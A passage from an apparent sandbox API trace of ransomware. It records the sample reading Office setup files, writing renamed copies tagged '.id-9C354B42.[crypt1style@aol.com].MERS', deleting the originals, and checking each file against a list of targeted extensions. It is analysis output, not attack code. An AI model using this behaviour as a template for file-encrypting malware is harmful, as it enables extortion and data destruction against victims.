[0044.520] SetEndOfFile (hFile=0x1a8) returned 1 [0044.520] CloseHandle (hObject=0x1a8) returned 1 [0044.520] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.520] SetEndOfFile (hFile=0x200) returned 1 [0044.521] CloseHandle (hObject=0x200) returned 1 [0044.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.521] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0044.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.522] lstrlenW (lpString=".doc") returned 4 [0044.522] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.522] lstrlenW (lpString=".docx") returned 5 [0044.522] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.522] lstrlenW (lpString=".pdf") returned 4 [0044.522] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.522] lstrlenW (lpString=".xls") returned 4 [0044.522] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.522] lstrlenW (lpString=".xlsx") returned 5 [0044.522] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.522] lstrlenW (lpString=".ppt") returned 4 [0044.522] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.522] lstrlenW (lpString=".zip") returned 4 [0044.522] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.522] lstrlenW (lpString=".rar") returned 4 [0044.522] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.522] lstrlenW (lpString=".bz2") returned 4 [0044.522] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.522] lstrlenW (lpString=".7z") returned 3 [0044.522] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.522] lstrlenW (lpString=".dbf") returned 4 [0044.522] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.522] lstrlenW (lpString=".1cd") returned 4 [0044.563] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.563] lstrlenW (lpString=".jpg") returned 4 [0044.563] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.563] lstrlenW (lpString=".doc") returned 4 [0044.563] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.563] lstrlenW (lpString=".docx") returned 5 [0044.563] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.563] lstrlenW (lpString=".pdf") returned 4 [0044.563] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.563] lstrlenW (lpString=".xls") returned 4 [0044.563] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.563] lstrlenW (lpString=".xlsx") returned 5 [0044.563] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.563] lstrlenW (lpString=".ppt") returned 4 [0044.563] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.563] lstrlenW (lpString=".zip") returned 4 [0044.563] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.564] lstrlenW (lpString=".rar") returned 4 [0044.564] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.564] lstrlenW (lpString=".bz2") returned 4 [0044.564] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.564] lstrlenW (lpString=".7z") returned 3 [0044.564] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.564] lstrlenW (lpString=".dbf") returned 4 [0044.564] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.564] lstrlenW (lpString=".1cd") returned 4 [0044.564] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0044.564] lstrlenW (lpString=".jpg") returned 4 [0044.564] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.564] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.564] lstrlenW (lpString="VisioMUI.XML") returned 12 [0044.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.728] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=9503) returned 1 [0044.728] CloseHandle (hObject=0x1f0) returned 1 [0044.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0044.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.730] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.730] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0044.771] GetLastError () returned 0x0 [0044.771] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x251f, lpOverlapped=0x0) returned 1 [0044.785] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0044.785] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.786] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.786] SetEndOfFile (hFile=0x1d4) returned 1 [0044.786] CloseHandle (hObject=0x1d4) returned 1 [0044.786] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.786] SetEndOfFile (hFile=0x1f0) returned 1 [0044.787] CloseHandle (hObject=0x1f0) returned 1 [0044.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.787] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0044.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.787] lstrlenW (lpString=".doc") returned 4 [0044.787] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString=".docx") returned 5 [0044.787] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.787] lstrlenW (lpString=".pdf") returned 4 [0044.787] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.787] lstrlenW (lpString=".xls") returned 4 [0044.787] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString=".xlsx") returned 5 [0044.788] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.788] lstrlenW (lpString=".ppt") returned 4 [0044.788] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.788] lstrlenW (lpString=".zip") returned 4 [0044.788] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.788] lstrlenW (lpString=".rar") returned 4 [0044.788] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString=".bz2") returned 4 [0044.788] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString=".7z") returned 3 [0044.788] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.788] lstrlenW (lpString=".dbf") returned 4 [0044.788] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.788] lstrlenW (lpString=".1cd") returned 4 [0044.788] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.788] lstrlenW (lpString=".jpg") returned 4 [0044.788] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.788] lstrlenW (lpString=".doc") returned 4 [0044.788] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.788] lstrlenW (lpString=".docx") returned 5 [0044.789] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.789] lstrlenW (lpString=".pdf") returned 4 [0044.789] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.789] lstrlenW (lpString=".xls") returned 4 [0044.789] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.789] lstrlenW (lpString=".xlsx") returned 5 [0044.789] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.789] lstrlenW (lpString=".ppt") returned 4 [0044.789] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.789] lstrlenW (lpString=".zip") returned 4 [0044.789] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.789] lstrlenW (lpString=".rar") returned 4 [0044.789] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.789] lstrlenW (lpString=".bz2") returned 4 [0044.789] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.789] lstrlenW (lpString=".7z") returned 3 [0044.789] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.789] lstrlenW (lpString=".dbf") returned 4 [0044.789] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.789] lstrlenW (lpString=".1cd") returned 4 [0044.789] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0044.789] lstrlenW (lpString=".jpg") returned 4 [0044.789] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.789] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.789] lstrlenW (lpString="SETUP.XML") returned 9 [0044.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.790] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2424) returned 1 [0044.790] CloseHandle (hObject=0x1f0) returned 1 [0044.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0044.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.791] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.791] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0044.791] GetLastError () returned 0x0 [0044.791] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x978, lpOverlapped=0x0) returned 1 [0044.832] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x980, lpOverlapped=0x0) returned 1 [0044.833] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.833] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.833] SetEndOfFile (hFile=0x1d4) returned 1 [0044.856] CloseHandle (hObject=0x1d4) returned 1 [0044.857] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.857] SetEndOfFile (hFile=0x1f0) returned 1 [0044.857] CloseHandle (hObject=0x1f0) returned 1 [0044.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.857] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.858] lstrlenW (lpString=".doc") returned 4 [0044.858] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.858] lstrlenW (lpString=".docx") returned 5 [0044.858] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.858] lstrlenW (lpString=".pdf") returned 4 [0044.858] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.858] lstrlenW (lpString=".xls") returned 4 [0044.858] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.858] lstrlenW (lpString=".xlsx") returned 5 [0044.858] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.858] lstrlenW (lpString=".ppt") returned 4 [0044.858] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.858] lstrlenW (lpString=".zip") returned 4 [0044.858] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.858] lstrlenW (lpString=".rar") returned 4 [0044.858] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.858] lstrlenW (lpString=".bz2") returned 4 [0044.858] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.858] lstrlenW (lpString=".7z") returned 3 [0044.858] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.858] lstrlenW (lpString=".dbf") returned 4 [0044.858] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.858] lstrlenW (lpString=".1cd") returned 4 [0044.858] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.858] lstrlenW (lpString=".jpg") returned 4 [0044.859] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.859] lstrlenW (lpString=".doc") returned 4 [0044.859] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.859] lstrlenW (lpString=".docx") returned 5 [0044.859] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.859] lstrlenW (lpString=".pdf") returned 4 [0044.859] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.859] lstrlenW (lpString=".xls") returned 4 [0044.859] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.859] lstrlenW (lpString=".xlsx") returned 5 [0044.859] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.859] lstrlenW (lpString=".ppt") returned 4 [0044.859] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.859] lstrlenW (lpString=".zip") returned 4 [0044.859] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.859] lstrlenW (lpString=".rar") returned 4 [0044.859] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.859] lstrlenW (lpString=".bz2") returned 4 [0044.859] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.859] lstrlenW (lpString=".7z") returned 3 [0044.859] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.859] lstrlenW (lpString=".dbf") returned 4 [0044.859] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.859] lstrlenW (lpString=".1cd") returned 4 [0044.859] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0044.859] lstrlenW (lpString=".jpg") returned 4 [0044.859] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.860] lstrcmpiW (lpString1=".HTM", lpString2=".MERS") returned -1 [0044.860] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0044.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.861] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=11463) returned 1 [0044.861] CloseHandle (hObject=0x1f0) returned 1 [0044.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0044.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.861] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.861] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.913] GetLastError () returned 0x0 [0044.913] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, 